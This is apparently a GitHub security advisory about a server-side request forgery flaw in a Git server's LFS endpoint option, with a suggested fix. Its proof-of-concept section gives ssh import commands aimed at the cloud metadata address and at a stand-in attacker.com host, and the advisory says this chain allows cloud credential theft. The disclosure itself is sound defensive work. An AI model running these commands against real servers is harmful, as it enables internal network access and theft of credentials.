Details
Affected versions:
- Introduced in v0.6.0 (commit
ea6b9a4added--lfs-endpointflag) - Still present in v0.11.3+ (current
main) - Not fixed by v0.11.1 webhook SSRF patch (GHSA-vwq2-jx9q-9h9f) -- that fix only covers
pkg/webhook/, notpkg/lfs/
Suggested fix:
The existing SSRF protections in pkg/webhook/validator.go and pkg/webhook/webhook.go are thorough and well-tested. The cleanest fix would be to extract them to a shared internal package and apply them to the LFS client:
- Replace
http.DefaultClientinpkg/lfs/http_client.gowith a secure client usingValidateIPBeforeDialin the transport andhttp.ErrUseLastResponseinCheckRedirect-- matching the webhook pattern. - Validate the endpoint URL in
pkg/backend/repo.go(beforelfs.NewEndpoint) andpkg/jobs/mirror.go(before creating the client) using the same checksValidateWebhookURLperforms.
Both layers matter -- URL validation catches the obvious cases, ValidateIPBeforeDial at connection time catches DNS rebinding.
PoC
Based on code review. These haven't been run against a live instance, but the data flow from --lfs-endpoint to http.DefaultClient.Do() is straightforward:
# Blind SSRF -- server POSTs to metadata endpoint (JSON parse will fail, but request is sent)
ssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo \
--lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/
# Reading internal responses via fake LFS server
# 1. Host a server at attacker.com that responds to POST /objects/batch
# with a valid BatchResponse containing download URLs pointing at internal targets
# 2. Import with that endpoint
ssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo \
--lfs --lfs-endpoint http://attacker.com/fake-lfs/
Impact
Any authenticated SSH user (any valid SSH key) can make the server send HTTP requests to arbitrary destinations, including internal networks and cloud metadata services.
Concrete impact:
- Port scanning / service discovery: Confirm reachability of internal hosts via timing and error responses
- Cloud credential theft: Access cloud metadata endpoints (169.254.169.254) -- full credential extraction is possible through the fake-LFS-server chain unless IMDSv2 or equivalent is enforced
- Internal API access: Read responses from internal services by routing LFS download URLs through the pipeline
- Persistence: Mirror imports repeat the SSRF on every scheduled sync without further user action
Reported by Vinayak Mishra
GitHub: @vnykmshr